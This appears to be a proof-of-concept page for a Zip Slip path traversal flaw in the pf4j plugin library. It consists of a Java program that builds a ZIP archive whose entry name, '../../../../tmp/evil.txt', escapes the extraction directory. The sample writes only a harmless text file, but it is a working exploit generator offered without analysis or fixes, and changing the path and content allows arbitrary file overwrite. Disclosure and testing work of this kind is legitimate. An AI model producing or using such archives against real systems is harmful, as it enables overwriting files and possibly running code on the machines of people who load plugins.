CVE-2025-70952 pf4j路径遍历漏洞

import java.io.*; import java.util.zip.*; public class ZipSlipPoC { public static void main(String[] args) throws IOException { // Create a malicious zip file String maliciousZipPath = "malicious.zip"; FileOutputStream fos = new FileOutputStream(maliciousZipPath); ZipOutputStream zos = new ZipOutputStream(fos); // The entry name contains '../' to traverse directories // This attempts to write 'evil.txt' to the parent directory of the extraction point String entryName = "../../../../tmp/evil.txt"; ZipEntry entry = new ZipEntry(entryName); zos.putNextEntry(entry); // Content of the malicious file String content = "This file was written via Zip Slip vulnerability."; zos.write(content.getBytes()); zos.closeEntry(); zos.close(); System.out.println("Malicious ZIP file created at: " + maliciousZipPath); } }